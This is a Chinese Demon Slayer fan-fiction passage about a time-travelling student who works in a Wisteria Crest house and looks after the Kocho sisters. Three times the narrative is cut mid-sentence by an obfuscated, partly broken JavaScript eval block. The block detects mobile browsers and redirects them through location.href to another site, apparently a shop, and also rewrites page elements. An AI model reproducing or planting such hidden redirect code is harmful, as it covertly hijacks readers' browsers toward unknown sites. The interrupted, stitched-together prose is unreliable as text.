《[鬼灭之刃]在紫藤花之家》 1. 紫藤花家纹之家 明治末期,日本东京。 空旷舒适的宅邸里,藤花月咲一大清早就在庭院劈柴。 这个活并不算很难,只要掌握了技巧,不用费多大力气就能把木头劈得大小合适又均匀。 没一会儿,她就把柴房堆满了,看着柴火整齐地码在一起,藤花月咲擦着汗分外有成就感。 “可以吃早饭了。” 在她没留意的空隙,头发银白的小个子婆婆出现在了她身后,移动速度极快,对方正是这座宅邸的主人。 不过这些天藤花月咲已经习惯了,小碎步跟上,欢快地问:“寿奶奶,今天早饭有什么呀?” “米饭、烤鲑鱼、腌萝卜和味增汤。” “哇!我喜欢烤鲑鱼!”藤花月咲并不觉得简陋,毕竟在明治时代,早餐就能吃这么一顿饭,已经是比较奢侈的了。 ——藤花月咲来自二十一世纪,某天赶研究生论文太累,随便打开电视放松心情。新闻才播到研究蓝色彼岸花的团队因操作失误害得植株全部枯死,她便昏迷过去不省人事。 醒来后,她发现不仅自己的身体回到了十二三岁的模样,还趴在一个陌生的、仿佛是时代剧里会出现的场景的街道,路人们都穿着和服木屐或洋装,身下地面全是灰扑扑的原始土路。 幸运的是,她被路过的寿奶奶好心捡回去,住进了这座大门上绘制着紫藤花家纹的宅邸。 很快,藤花月咲弄清楚自己穿越回到了一百多年前。她家里经营的祖传旅馆也才八十年历史,想找祖宗都不晓得去那儿找。 而自己如今是个没有身份也没有去处的小女孩,要是流落街头,在这个时代不知道会遭遇些什么。 因此在寿奶奶觉得她干活麻利,问了姓名后又认为有缘分,询问她愿不愿意留下来帮忙时,藤花月咲毫不迟疑地应下了。 今天刚好是她来到这儿的一个月整,藤花月咲心态很好,不论怎样,总得先活下去才能想未来的事呀。 她从小在家里旅馆帮忙,打扫、做饭、修剪植被、待人接物这些活她都游刃有余。 就是有些疑惑。 那么大的宅邸,常住人员只有她和寿奶奶两个,但时不时就会有穿着背后写着“灭”字漆黑队服、腰间佩刀的剑士来访。 每当他们一来,两人就要忙碌起来。 这些人通常都会带伤,看上去严重的话首先就要飞速去指定医馆请医生。接着是安排房间、准备餐食,清洗脏兮兮又染满血迹的衣物,然后和寿奶奶轮流整晚守在隔壁房间等候传唤。 藤花月咲考虑到奶奶年纪大了,提出过由自己来整晚守夜就行,寿奶奶却说担心她没有经验,怠慢了鬼杀队的队员们。 鬼杀队?完全没听说过。 但她知道这个时代的武士有一定地位,以奶奶对他们的尊敬,以及食宿都不用付钱来看——重点是不付钱——难不成是这一片道上的势力? 鬼杀、杀鬼,鬼指的又是什么?是即使对手跟鬼一样厉害也能杀掉的意思吗? 打量队员们腰间沾血的长刀,藤花月咲决定还是谨慎一点,万一有哪个脾气不好的随手砍人,她可招架不住。 吃完早饭,藤花月咲把碗筷洗干净,举着大剪刀咔擦咔擦剪了两下空气,志气满满地开始修建庭院里的植被。 其他都很简单,唯独庭院中央那棵巨大的紫藤花树需要十分小心地对待。 紫藤花其实是一种破坏力很强的植物,它的根茎会绞杀其他植物,并侵入墙壁、地板,顶起地基、挤碎窗框。 这座宅邸是用砖石搭建的,比较结实,但还是要使用控根的盆种植,经常修剪,其他植株也都隔开了好一段距离。 也就是家中颇有资产才种得起,她出去买东西时看到的房子基本都是木结构,甚至有不少茅草屋,实在没地方给一棵树糟蹋。 修剪完枝叶,藤花月咲满意地看着眼前大片大片、仿佛迷雾幻境般的紫藤花束,美丽极了,散发着淡淡的幽雅香气。 她从前生活的地方也有很多紫藤花,站在树下会有种熟悉的安心感,像是家人朋友们都在身边陪伴着。 她把修剪下来的花朵轻轻装进篮子,交给婆婆,然后坐在回廊下看着寿奶奶缝制香包,好奇地问:“这是给谁的?” 奶奶把香包缝完,冲她招招手,把绣着家纹的香包系在了藤花月咲的和服腰带上,飘来一股紫藤花的香气,“如果哪天你出门回来晚了,这个可以驱鬼。” 藤花月咲:? 花能驱鬼?鬼杀队的那个“鬼”吗? 什么人……能被几朵花给驱走? 藤花月咲在这一刻终于后知后觉地意识到,她之前对于“鬼”的理解,似乎和寿奶奶不太一样。 …… 傍晚,藤花月咲在紫藤花树下狂搓木盆里的衣服,否则难以抒发自己的震惊。 从寿奶奶那儿得知的真相,震碎了她的世界观! 原来这个时代是有鬼的,那种只在夜晚出没、以人类为食的恶鬼! 鬼杀队则是一个不被政府承认的民间组织,那些队员之所以浑身是伤、染满鲜血,就是与鬼搏杀后留下的痕迹。 寿奶奶对藤花月咲露出一副难以消化的神情感到略微不解。后者这段时间不管是看到伤痕累累的队员,抑或是会说话的乌鸦,她都没有表露任何异样的情绪,也没有什么困惑。 所以寿奶奶是默认藤花月咲知道鬼、鬼杀队的。 藤花月咲:不,我不知道! 她误解鬼杀队是道上的势力了啊!话说回来,那些鸟居然是乌鸦吗,她以为是能学人话的八哥! 搓完一大盆衣服床单,情绪也发泄得差不多了,藤花月咲才勉强接受了这个事实——不然还能怎么样呢? 晾好衣服,寿奶奶喊她去吃饭。 晚饭的丰盛程度出乎藤花月咲的意料,竟然是炸猪排。 虽然这个有着紫藤花家纹的家族资产殷实,但平时也只是米饭不限量,蔬菜的量还算充足可种类不多,蛋白质则多是蛋、鱼、虾,真正的肉,比如牛肉、猪肉、鸡肉,很少。 藤花月咲只在来到宅邸的第一天吃到了鸡肉亲子盖饭,没办法,如今的食材又贵又匮乏,平民们的饮食基本由主食和廉价蔬菜组成。 而炸猪排还要用油炸,相当奢侈了。 “婆婆,今天怎么做炸猪排了?”这两天没有鬼杀队队员入住,两人不用在意那么多,可以悠哉悠哉慢慢吃饭。 寿奶奶没回答,等吃完饭,才对藤花月咲说:“我可以介绍你去其他地方做事。” 家族在日本还是有一定人脉的,肯定有地方卖她面子收下藤花月咲。况且家族也有自己经营的产业,多一个人帮忙不算什么。 事实上,只有少部分族人被分派到各地负责接待猎鬼人,所以宅邸才会这样空荡。 不仅是家族需要延续,还是为了鬼杀队的安全——队员们要在安全的地方疗伤,知道的人多了会有不稳定因素,很可能引来危险。 藤花月咲愣了愣。 听到有鬼,她很诧异,可到底没正面见识过鬼的凶残,光听奶奶描述,顶多想象成特摄片里怪兽的形象,生不出多少恐惧。 寿奶奶对她很好,或许是有一定雏鸟情节,寿奶奶是她来到这个时代第一个伸出援手的人,目前她不想离开这段相对安稳的生活。 更何况既然每个地方都有鬼,往哪儿躲都没用,该碰上还是会碰上,那么还不如就待在这儿,至少这儿还有一棵鬼害怕的紫藤花树。 这些想法迅速在滕花月咲的脑中闪过,她将双手盖在膝前的地面,认认真真伏下身,“我愿意留在这里,和奶奶一起接待猎鬼人!” 就当作旅馆继承人修行的升级版吧。她本来是想得到汉方医学,也就是中医的硕士学位后就回家继承旅馆,现在家里只能让妹妹去继承了。 寿奶奶看着她,半晌点点头,没说什么就先去休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897706|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息了。 藤花月咲整理餐具,心道难怪晚餐那么好,估计奶奶认为这顿是散伙饭了。 虽然寿奶奶没说什么,也听不到脚步声,可从离开的背影看,应该是开心的吧? 摸了摸系在腰带上的香包,藤花月咲叹口气,先前婆婆嘱咐她出门买东西要在日落前回来,她没怎么在意,看来往后要时刻记住这句话了。 —— 既然决心要留下,就不能做半吊子。 藤花月咲当晚就躺在被窝里做起了计划,瞄一眼旁边已经睡着的婆婆,心里打算盘。 从乐观的角度来看,好歹现在不用怕那些猎鬼人对她动手了。能在不被政府承认的组织里一直猎杀恶鬼、保护普通人,在她看来这都是一群勇敢的好人。 当然肯定也有人品不咋样的,但婆婆说鬼杀队队律很严,最多也就是出言不逊,打人是不会的。 藤花月咲在自家旅馆何止见过态度粗鲁的客人,经常还有发酒疯的醉汉呢,这没什么大不了。 那么首先就从她擅长的疗伤入手,尽管她当初选择中医专业的动机不纯粹,单纯是想学成后在家里旅馆的菜单里增加几道药膳,成为旅馆的特色。 可她学习是很用心的,每门考试都是优秀!导师都夸她呢! 就是手头没有药材和工具,需要……准备一下…… 被窝太温暖,也由于白天接收的信息量过多有些疲劳,藤花月咲想着到一半,便不知不觉睡着了。 —— 第二天一早,太阳刚出来,藤花月咲一边打扫院子,一边回忆昨晚计划到哪里了。 大门突然被叩响,她赶紧去开门,刚打开就眼前一黑。 咦,今天明明是晴天啊…… 藤花月咲定睛一看,再一抬头,发现竟是个比大门和围墙还要高、肩膀跟被褥差不多宽、浑身肌肉的男人堵在门口,从她这个角度甚至看不到对方被门框挡住的脸! 昨天才知道有鬼的存在,要不是太阳出来了,她差点以为自己当场撞鬼。 欸不对,仔细看,这个男人穿了鬼杀队的队服,只不过披了件僧袍,她乍一看没看清。 藤花月咲立刻把两侧的门都打开,否则对方进不来,“请进。” 等人弯腰进来后,嚯,看着更高了,起码有两米吧,额头有一道长长的横疤,脖颈和手臂都缠绕着念珠,双手合十,一双白瞳不断流着泪水。 十三岁的藤花月咲站在这个巨人面前,完全就是个小豆丁。 不用问就能感觉到,这个人比之前那些猎鬼人强了不止一点半点。 “请问怎么称呼?”她问。 对方还未开口,寿奶奶闪现般来到她身后,“悲鸣屿大人,这边请。” 被称作“悲鸣屿大人”的男人开口,声音果然跟外表一致,十分浑厚:“不了,我要赶回去向主公禀报,这两个孩子……” 他一侧身,露出躲在他身后的两个女孩子,方才竟被完完全全挡住了。 两个女孩都眼眶通红,一高一矮,看长相应该是姐妹,妹妹手中还紧紧攥着僧袍的一角。 悲鸣屿的话顿了顿,“……这两个孩子立志要当猎鬼人,在我找到合适的培育师前,请帮忙照看一二。” 即使他没说出口,藤花月咲也大致能想象到,这对姐妹很可能遇到了鬼,家人遭遇不测,被悲鸣屿先生救下后送到这里。 寿奶奶说过,很多人是家人被鬼杀害,为了报仇才加入的鬼杀队,跟这对姐妹是一样的身世。 两个女孩子明显受了很大刺激,可即便不愿离开给了她们安全感的悲鸣屿先生,也懂事地没有说一句挽留的话,站在门口一动不动望着对方离开。 直到男人彻底消失在视野,藤花月咲才轻拍两人肩膀,“好了,你们肯定饿了吧,跟我去吃饭吧……你们叫什么名字?” 大一点的女孩按捺住心中的恐慌,开口:“我叫蝴蝶香奈穗,这是我妹妹忍。” 2. 第二章 蝴蝶姐妹受惊过度,吃完早饭没多久便发起高烧来。 寿奶奶叫来医生看病,服药后姐妹俩终于勉强睡着了,体温也降了点。可两人在睡梦中一副非常痛苦的样子,满脸冷汗、眉头紧皱,沉重的呼吸声仿佛要喘不过气来。 是做噩梦了吧。 藤花月咲打了一盆井水回来,用毛巾给她们擦拭身体,换上了干净的衣服,把冰凉的帕子盖在两人额头。 姐姐香奈穗十三岁,跟如今的自己同龄,妹妹忍才十岁,实在是…… 她想说可怜,但又觉得这对立志加入鬼杀队的姐妹令人感到敬佩,自己的真实年龄明明比她们大很多,也没有她们这般勇敢。 姐妹俩在噩梦中挣扎,滕华月咲在一旁有些坐立不安,哪怕一点都好,她想尽量减轻她们的痛苦。 手头没一时没多余的药材,也没趁手的工具,再加上寿奶奶请的是西医,在了解开的药的成分前她不能轻举妄动,万一药性相冲怎么办。 想了想,回忆起当初跟导师去中国的中医培训交流会上,有位医生教授了用按摩推拿帮助退烧的手法,现在用就很合适。 …… 蝴蝶香奈穗在梦中被一团粘腻的液体包裹,浮浮沉沉,让她透不过气来。血腥、暴力、哀痛、祈祷……那个夜晚裂成无数碎片,一一闪过重现,像冰冷的牢笼般将她包围,无数次把她拖入深渊。 无尽黑暗中,她只剩一个想法:保护忍!哪怕自己被杀掉,也要让妹妹活下来! 蓦地,僵硬的身体变得轻飘飘起来,周围逐渐明亮,那股刺骨的冷意也消散不少。 香奈穗觉得,好像有人在轻抚自己的头,就像从前她枕在母亲腿上,母亲的抚摸那样。 她努力地把双眼睁开一条缝,恍惚间看到了个纤小的身影在为她按摩头部,嘴里很轻很轻地喃喃:“你已经做得很棒了,不要怕,你一定能战胜这些的。” 亲切的声线格外空灵,宛如月光下蜿蜒的河水,能够穿透洗涤灵魂,令香奈穗心情缓缓平息。 好温暖。 再看一旁的忍,睡得同样平静,一只手臂似乎感应到姐姐在身边,探出被窝朝她的方向伸来,手心朝上。 香奈穗半睡半醒间竭力握住了妹妹的手,无声淌泪。 —— 不知是医生开的药好还是按摩起了作用,也有可能是姐妹俩身体素质不错,第二天一早她们便退烧,又过一天就下床正常行动了。 在这个没有疫苗的时代,小病拖成大病最后病逝的案例并不少见,藤花月咲觉得估计是姐妹俩以前家里条件不错,起码吃穿不愁,养得好,身体素质比一般人强。 而藤花月咲自己倒不怎么怕被传染,她从小就几乎没生过病,小时候跟堂哥堂姐们睡一个屋子,冬天窗户漏风,其他人都重感冒发烧了,就她什么事也没有。 父母说她遗传了妈妈家族的体质,她妈妈家的人也不怎么生病,而且一个个相当长寿。 不知什么缘故,醒来的蝴蝶姐妹变得亲近她了许多,像现在,三人围在紫藤花树下收集能用的花朵,寿奶奶说要给她们缝制紫藤花香包。 用花驱鬼的方法有好几种,最简单的就是摘下一簇来挂在门口。但摘下来的紫藤花每分每秒都在失去新鲜度,基本一夜过去就失去大半功效了。 如果有条件的话,随身携带紫藤花香包是最好的选择,制作香包的程序也并不复杂:将紫藤花用药水浸泡,再在阳光下晾干,缝进香包。 这个过程中唯一需要比较注意的是紫藤花必须完整,花瓣有一点破损、枯萎,或花蕊被污染,就失去了效用。 此外,用来保鲜的药水十分昂贵且稀少,只有极少部分人能买得到。 寿奶奶说也有将紫藤花制成香,点燃后就能在一定范围内驱散恶鬼,原料也比较常见,就是制作工艺相当繁琐,让人一听就头大。 比如需要在一天当中太阳最好的时间段摘花、反复研磨晒干数十次、配方比例精准到苛刻等等。 藤花月咲能理解为什么不能给附近每户人家都送上紫藤花制品了。 作为不被政府承认的民间组织,也很难劝每户居民都在家种上破坏力大又难伺候的紫藤花树。 何况这点量的紫藤花只能防一般的鬼,实力强一些的就不是很有用。 三人专心挑拣花朵,蝴蝶忍手心捧着一朵紫藤花,问:“为什么鬼会害怕紫藤花呢?” 藤花月咲:……好问题,她完全没思考过。 毕竟都有鬼这种传说生物存在了,紫藤花能驱鬼,难道不是和日本传说中盐、豆子能驱鬼一样理所当然的事吗? 原以为是神魔故事,怎么突然问起了科学原理? “大概是紫藤花里有什么成分令鬼感到害怕吧,”藤花月咲想了想,“就像猫不喜欢柑橘的气味,狗吃巧克力会死,一样的道理。” 她注意到这两个比喻让忍微微皱了皱鼻子,看来对方不喜欢猫猫狗狗。 “小忍有什么喜欢的动物吗?”她问。 香奈穗轻笑:“忍喜欢昆虫,还有金鱼对吧?” “嗯!”忍用力点头,一直严肃紧绷着的小脸舒缓了些,“因为昆虫很神奇啊,从卵到幼虫到成虫,形态都完全不一样,眼睛的结构、翅膀的纹路都好漂亮。” “不过,我之前抓了只毛毛虫想跟其他人玩,结果把她给吓哭了。” 香奈穗点一下妹妹的脑袋:“每个人喜欢和讨厌的东西都不一样,下次要先询问对方才行哦。” “没错,不过我不怕虫子哦,你什么时候想找我一起玩都可以!”藤花月咲拎起篮子,说道。 “都不怕?蜘蛛呢?蜈蚣、马蜂?”忍追问。 “不怕,只要小心不要中毒就行,”藤花月咲骄傲地抬起脑袋,“是遗传我外祖母的,她可是能徒手捏死蟑螂的人!” 其实是曾曾外祖母,藤花月咲上小学前她还在世,但这个平均寿命只有三四十岁的年代,这样长寿的人可能太突兀了,所以稍微改了口。 蝴蝶姐妹在宅邸生活了一段时间,期间悲鸣屿先生来过几次。 对方第二次来时,藤花月咲还以为那么快就找到了合适的培育师,结果并非这样。 悲鸣屿先生是用最快速度跟鬼杀队主公禀报完,特地来看望这对姐妹的。 当时藤花月咲就知道,对方外表虽然粗犷,却是个心思细腻又温柔的人——原来他的眼泪,不是因为泪失禁啊。 她还去问寿奶奶,悲鸣屿先生在“甲乙丙丁戊己庚辛壬癸”这十个鬼杀队剑士等级中,处于哪一级别。 得到回答:柱。 藤花月咲:这个柱又是从哪儿冒出来的? 寿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897707|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶奶说,柱在鬼杀队的地位仅次于主公,是由几名最强的剑士担任,当上柱的条件极为苛刻,保护的人也很多,在队内很受尊敬。 这位很受尊敬的岩柱,悲鸣屿先生,来看望蝴蝶姐妹时是偷偷来的。 呃,用偷偷形容其实不太准确,应该说是他觉得自己很隐蔽,躲在那棵紫藤花树后头,暗中观察坐在廊檐下的蝴蝶姐妹,嘴里低声念着“南无……”。 抱着洗衣篮路过的藤花月咲:…… 虽然树干是挺粗的,但想完全遮住您这身板,未免太为难树了吧! 果然,蝴蝶姐妹没一会儿就发现了悲鸣屿先生,忍立马扑了过去,抱住对方的大腿。 岩柱从树后面走出时,忍也牢牢固定在他腿上,鼓着脸一副不愿意松手的表情,香奈穗则是在一旁浅笑,半点没有制止的意思。 藤花月咲从男人脸上看出了茫然无措,也没上前,欣慰着小忍妹妹果然身体彻底好了起来,现在多有力气呀。 最终悲鸣屿先生被留下吃了午饭。 藤花月咲非常好奇柱的菜单,平日里给普通队员的供餐就已经很不错了,地位仅次于主公的柱的待遇应该会更高吧? 问了寿奶奶后,得知柱可以想吃什么就吃什么。 哦……原来是可以点菜。 不过悲鸣屿先生没有点菜,而是吃跟大家一样的食物。 把饭菜端上来时,藤咲月咲没忍住问:“悲鸣屿大人为什么要躲在树后?” 悲鸣屿先生沉吟半晌,白瞳又开始流泪,双手合十拨弄念珠,“……我这样的身姿……或许会令她们感到害怕……” “不不不!”藤花月咲惊讶不已,如此强大的人居然会因为这种原因自卑,“我觉得她们一定认为有悲鸣屿先生在很有安全感,毕竟您可是在恶鬼手下保护了她们的人!” “是吗?” “当然,您看她们刚才根本不像害怕的样子呀。” 悲鸣屿先生蹙着的眉头松开了一点。 藤花月咲偷瞄他披着的僧袍,好奇是怎么不让它掉下来的,开口道:“大概是悲鸣屿大人有像父亲一样的感觉吧。” “——咳咳咳!”刚放下担忧,正在喝味增汤的悲鸣屿毫无防备地喷了。 很快藤花月咲就知道,这位岩柱今年才十九岁…… 虽然在这个时代确实是普遍已经结婚生子的年龄,但绝不会有像蝴蝶姐妹那么大的孩子…… “对不起!”藤花月咲脸涨得通红,在隔壁房间缓了好一会儿才有勇气出来面对岩柱,不断道歉,“冒犯您了!” 她也见过许多长相比实际年龄沧桑的人,可仔细看悲鸣屿先生的面容,其实隐隐透露着年轻。 但对方的气质太过沉稳成熟了,那是一种经历过许多事打磨锤炼后才会有的内敛,实在不像是不到二十岁的人。 尤其藤花月咲来自一百年后,周围二十岁的人大多都还在读书,拿着父母给的生活费,即便去打工也是为了买想要的东西,跟眼前的男人相比简直还是在庇护之下的幼鸟。 “没关系……”悲鸣屿行冥脸上露出一点点无奈,终于有点十九岁青年的表情,“我经常被叫叔叔……有时队员们会无意识喊我父母……” “扑哧。”藤花月咲低下头,努力憋笑。 对不起她真的不是故意的——! 3. 第三章 由于一闲下来就会想到中午发生的糗事,藤花月咲立刻给自己找了点活干,阻止那些片段在脑海反复回放。 她向寿奶奶申请了一点经费,打算做几道小菜来丰富菜单。 寿奶奶给了100钱,嘱咐早去早回。 穿越也有一段时间了,藤花月咲大致摸清了这时候的货币换算和物价。如今已经有政府发行的日元了,一日元约等于100钱,一个城市工人的月工资则在二十日元上下。 而十千克大米要120钱左右,萝卜白菜这类大众蔬菜每千克需要3-7钱,猪肉每千克需要1.5日元到2日元。 从消费水平来看跟一百年后差不多,但这时家庭人口多、负担大,一些不常见的物资价格也会偏高。 况且许多住在山里的人没有固定收入来源,靠卖柴卖炭的话,勉强够呛买一些生活必需品。 藤花月咲再次庆幸她一穿越就碰到了寿奶奶,否则能不能养活自己都是个难题,极有可能直接被拐走卖进花街这种地方,想逃都不可能。 她揣着钱袋,挎着藤编篮子把街边铺子一家家看了个遍,挑挑拣拣买了土豆、胡萝卜、黄瓜、洋葱、鸡蛋、五花肉、紫苏、嫩姜、冰糖。 这一堆东西当中冰糖是最贵的,一千克就要120钱,她扣扣嗖嗖只买了一点点。 但不买又不行,她怕做失败了浪费食材。 藤花月咲准备做土豆沙拉和紫苏姜这两道小菜。 这时的土豆沙拉基本都是搭配混合蔬菜和调味汁搅拌,没有类似于蛋黄酱之类的调味料——或许是有的,但大多数调味品都用于西洋料理,只在少数高端餐厅出现,绝大多数人的餐桌上是没有的。 她想调制一个简易版蛋黄酱,这样就能做出与后世相差无几的土豆沙拉了。 至于紫苏姜,是藤花月咲发现蝴蝶忍似乎很喜欢小菜里的姜片后想起来的一道菜,不仅味道清爽开胃,又能缓解胃部的不适感,很适合鬼杀队的队员们。 她差不多看出来了,这些猎鬼人不说表面能看到的伤,身体或多或少都有些小毛病,比如到处奔波没能按时好好吃饭导致的胃病。 吃饭可是很重要的,获取足够营养伤痛才能好得快。 藤花月咲提着一篮子食材回来时,蝴蝶姐妹和悲鸣屿行冥正好都在庭院。 她探头,顿时惊掉下巴。 巨大的斧头和流星锤用粗重的纯金属锁链连接,摆在庭院的碎石地上,几乎能听到底下的石头发出不堪重负的崩裂声,简直是神魔故事中才会出现的神器。 悲鸣屿先生说,这是他的日轮刀。 刀?这是刀?? 不对,普通人连斧头流星锤二选一都举不起来,他居然要挥着这玩意儿战斗?! 果然柱都不是寻常人,好想知道其他柱都是什么样的啊。 蝴蝶姐妹正抓着锁链,联手奋力牵动那颗流星锤,用力到脖颈手臂都青筋暴起,流星锤却仿佛长在地上一般纹丝不动。 悲鸣屿行冥既没有制止,也没有鼓励,只是站在一边旁观,默默垂泪。 藤花月咲为姐妹俩擦了把汗,忍不住在心里暗自加油。 “吧嗒”。 极其细微的一声响动,放在平时,根本不会有人注意到这一下碎石滚动的动静,但在这一刻无比清晰地传达到了在场每个人的耳中。 与此同时,姐妹俩也力竭脱手,同时瘫坐在地上,不断大喘气,又用期待的目光看向岩柱。 悲鸣屿行冥揉了揉两人的脑袋,叹了口气。 藤花月咲连忙提来一壶放凉了的玄米茶,让姐妹俩小口喝一些,别脱水了。 “这是在做什么?”她问。 “悲鸣屿先生想看我和姐姐的决心,”蝴蝶忍的眼睛中燃烧着火焰,“斩杀鬼的决心。” 香奈穗脸颊旁的碎发被汗浸湿,声音温柔又坚定,“我和忍早就约定好了,要成为猎鬼人,绝对不会放过任何一只鬼。”绝不会让其他人再经历她们的痛苦。 藤花月咲瞄一眼悲鸣屿行冥,觉得他应该不会再阻止了。 “好啦,我们去换件衣服吧~”她扶起两个小姑娘,“你们病刚好没多久,穿着湿衣服吹风,小心又感染风寒哦。” 把姐妹俩拎回屋里,藤花月咲重新面对菜篮,用嘴咬住系带的一端,从左腋下穿过绕到背后,再从背后绕到右肩,从右腋下穿过,绑好固定住和服的宽袖。 随即找个小板凳坐下,开始疯狂洗刷紫苏和嫩姜,麻利地把表面那一层泥巴洗掉。 她低头专心干活,一旁寿奶奶也给岩柱奉上绿茶和海苔仙贝。 “多谢。”悲鸣屿行冥双手合十行礼,一口吃下一块海苔仙贝,还是一样的酥脆咸香。 又喝了一口绿茶,发觉比以往要更加清香,茶汤口感澄澈,很好喝。 “那孩子很能干,”寿奶奶注意到,慢吞吞说,“是个善良可靠的孩子,有她在我轻松了不少。” “是么……” 这座紫藤花之家突然多了一个陌生小姑娘,悲鸣屿行冥出于过往的经历,或多或少有点在意。 可既然主人家这么说了,那孩子给他的感觉也很纯净,略微特殊的声线让他偶尔会有点恍惚,总觉得熟悉又亲近。 ……主公大人。 他前几日去禀报时,主公这一代的诅咒已经开始生效,貌似一只眼睛的视力开始下降,大概过不了多久便会失明。 到时候…… 悲鸣屿行冥又不自觉流泪了。 —— 为了赶在小忍离开紫藤花之家前把紫苏姜泡好,藤花月咲风风火火地干了半下午。 准备一个陶罐,用烧开的水烫过一遍,仔细擦干在太阳下晒一会儿。清洗过的紫苏叶、冰糖、盐统统倒进锅里煮一小时,这期间把姜搓洗干净、切片,加盐杀水。 然后把紫苏捞出,剩下的紫苏水过滤后加白醋,和拧干的姜片一起放进陶罐密封,搬到阴凉处就大功告成了。 希望能成功。 至于晚饭,藤花月咲扒拉一下食材,有姜又有五花肉的话…… “今晚我来做姜汁烧肉吧!”她跑去向寿奶奶请示。 得到肯定答复后,先是用土灶铁锅烧米饭。这是个技术活,就算她家经营传统旅馆也很少真的用柴火烧饭做菜了,多是做完后在端到炉火上,表演性质居多。 她潜心向寿奶奶学习了一个月,如今终于能掌握好火候和时间了。 接着把五花肉切成厚厚的薄片,裹上淀粉,洋葱、卷心菜切丝,姜研磨成泥,混入由酱油、糖、白醋调制成的酱汁中。 这个酱汁的配方里原来是有清酒的,藤花月咲本想找一种类似的酒代替,但想到悲鸣屿先生似乎是僧人,万一修行者中不能喝酒怎么办? 肉应该是吃的,中午看到了——光吃素估计也很难长出这一身非同寻常的肌肉。 因此她果断去掉清酒,又煮了一小锅味增汤,想到蝴蝶姐妹纤瘦的胳膊,打算再一人加一个煎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897708|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋。 煮味增汤时,一只乌鸦飞来停在灶台边,歪头看她。 藤花月咲现在知道鬼杀队的乌鸦叫做鎹鸦了。 而这只鎹鸦肯定是悲鸣屿先生的——它脖子上也挂着一串佛珠! “那个,乌鸦先生饿了吗?” 乌鸦是杂食动物,那它是闻到飘散的米饭香气来的,还是想吃自己手上的五花肉啊? 结果这只乌鸦在得到许可后,往前蹦跳了两下,叼走了剩下的姜片。 诶,它居然喜欢吃素吗! 通人性的鎹鸦看上去竟略显可爱,漆黑的羽毛油光发亮,在光线下折射出各色的光。 藤花月咲手痒,有点想上手撸鸦。 不行不行,还在做饭呢,不能摸! 她把厨余的蔬菜用另一个小碟装起来放到鎹鸦面前,掐着时间打开木盖,水蒸气扑面而来。 嗯~米香浓郁,正正好。 藤花月咲舀出一盆米饭稍稍晾凉,然后边烫得呼哧呼哧,边捏出一个个漂亮的三角饭团。 内陷分别是紫苏梅子、姜汁猪肉、盐烤鲑鱼和盐葱海苔,又捏了一个纯米饭的,用洗干净的叶子一包,草绳捆好。 找出空葫芦,往里头灌了七八分满的麦茶。 她掂了掂饭团和葫芦的重量,看向吃素的鎹鸦。 ……哪怕这是只跟主人一样的肌肉乌鸦,也带不动这些东西吧。 藤花月咲揣着饭团和葫芦,一路找过去。 “绝佳……绝佳?” 悲鸣屿行冥在庭院找自己的鎹鸦,蹲下身扒开灌木丛探头呼唤,就像在找流浪的小猫。 “绝佳,是你的名字?”藤花月咲询问肩膀上的乌鸦。 绝佳“嘎嘎”两声,飞向主人。 “南无……” 悲鸣屿行冥轻拍鎹鸦,“藤花小姐?” “哦,寿奶奶说悲鸣屿大人要去执行任务了,这是饭团和麦茶,”藤花月咲把东西递上,微微鞠躬,“一路顺风。” “劳烦了。” “啊对了,今晚估计会下雨,”她递过去一个顺手拿的斗笠,“戴这个不会耽误赶路,请带上吧。” 感受着晴朗的天空,悲鸣屿行冥虽不知对方说要下雨是有什么根据,却也接过来,“多谢。” —— 晚饭是一人一份姜汁烧肉定食,加一个双面煎蛋。 由于如今没有无菌蛋,藤花月咲放弃了美味的流心蛋,接近全熟,但依旧金灿灿的令人非常有食欲。 “悲鸣屿先生说姐姐太过温柔,我则是力气不够,”小忍啃着煎蛋,“其实他很关心人,担心我们受到伤害。” 小小只的女孩老气横秋地叹息,“我好想长得更高更强壮,这样就能尽早成为剑士了。” “那忍要多吃肉和鸡蛋,多喝牛奶哦,还要多晒太阳。”藤花月咲特意给姐妹俩的肉多装了一点。 “这样就能长高了?”忍的食量其实很小,她现在决定要多吃一些了。 香奈穗想一想岩柱的肌肉,也努力多吃了点,捧着空碗有点不好意思,“能再来一碗吗?” “当然。” 当晚夜深时,果然毫无征兆地下起了大雨。 藤花月咲早有准备,把提前煮好的姜汤一人一碗灌下,又给每张床铺都加了条被子。 她们四人睡在一个房间,人多热气足,暖烘烘的,绝对不会着凉。 再次钻进被窝,藤花月咲满足地喟叹一声,“晚安……” 4. 第四章 半个月后,悲鸣屿行冥接走了蝴蝶姐妹。 “要加油哦,等你们成为了猎鬼人,出任务时也许还能碰到,”藤花月咲一高一矮搭着姐妹俩肩膀,“我相信你们一定可以的。” 